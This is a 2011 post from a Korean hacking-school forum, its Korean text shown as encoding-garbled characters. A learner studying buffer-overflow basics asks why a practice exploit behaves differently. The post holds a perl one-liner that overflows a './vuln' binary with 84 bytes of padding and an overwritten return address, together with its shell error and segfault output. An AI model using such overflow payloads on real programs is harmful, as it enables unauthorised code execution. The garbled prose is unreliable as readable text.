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   kimgs0725
   ÇØÄð ´ëÇб³¿¡¼­ vulnÀ» ÇØÅ·ÇÏ·Á´Âµ¥....

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3234 [º¹»ç]


ÇØÄð¿¡¼­´Â ./vuln 'perl -e 'print "A"x84,"\xe0\x8a\x05\x40"''À» ÇØ¼­

./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'`
your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@
sh: ?¿C?? command not found
Segmentation fault

¶õ °á°ú°¡ ³ª¿Ô´Âµ¥, ¿©±â¼­ sh: ?¿C?? command not found¶õ °á°ú°¡ ³ª¿Í¾ß Á¤»óÀε¥

Àú´Â ±×·±°Ô Ãâ·ÂÀÌ ¾ÈµÇ°Åµç¿ä.

±×·¡¼­ output¿¡ ¸®´ÙÀÌ·º¼ÇÀÌ ¾ÈµÇ¿ä.

¿Ö ±×·±°¡¿ä?? (/bin/bash2·Î Çß¾î¿ä)

  Hit : 3628     Date : 2011/09/24 08:41



    
kimgs0725 ÇØÄð ´ëÇб³ 'bof±âÃʰ­ÁÂ' °øºÎÇÏ´ø Áß¿¡ °©ÀÛ½º·¯¿î Áú¹® ¤» 2011/09/24  
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./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'` > [[[ output ]]]
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2011/09/25